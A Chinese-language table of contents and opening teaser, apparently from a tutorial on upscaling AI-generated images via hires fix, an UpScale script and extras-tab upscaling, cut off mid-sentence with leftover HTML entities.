目录 1 高清修复 1.1 原理 1.2 基本操作 1.3 优缺点 2 UpScale 放大脚本 2.1 原理 2.2 基本操作 2.3 优缺点 3 附加功能放大 3.1 原理 3.2 基本操作 3.3 优缺点 优化出图质量&#xff0c;产出更高清&#xff0c;分辨率更高&#xff0c;更有细节的绘画作品呢&#x…...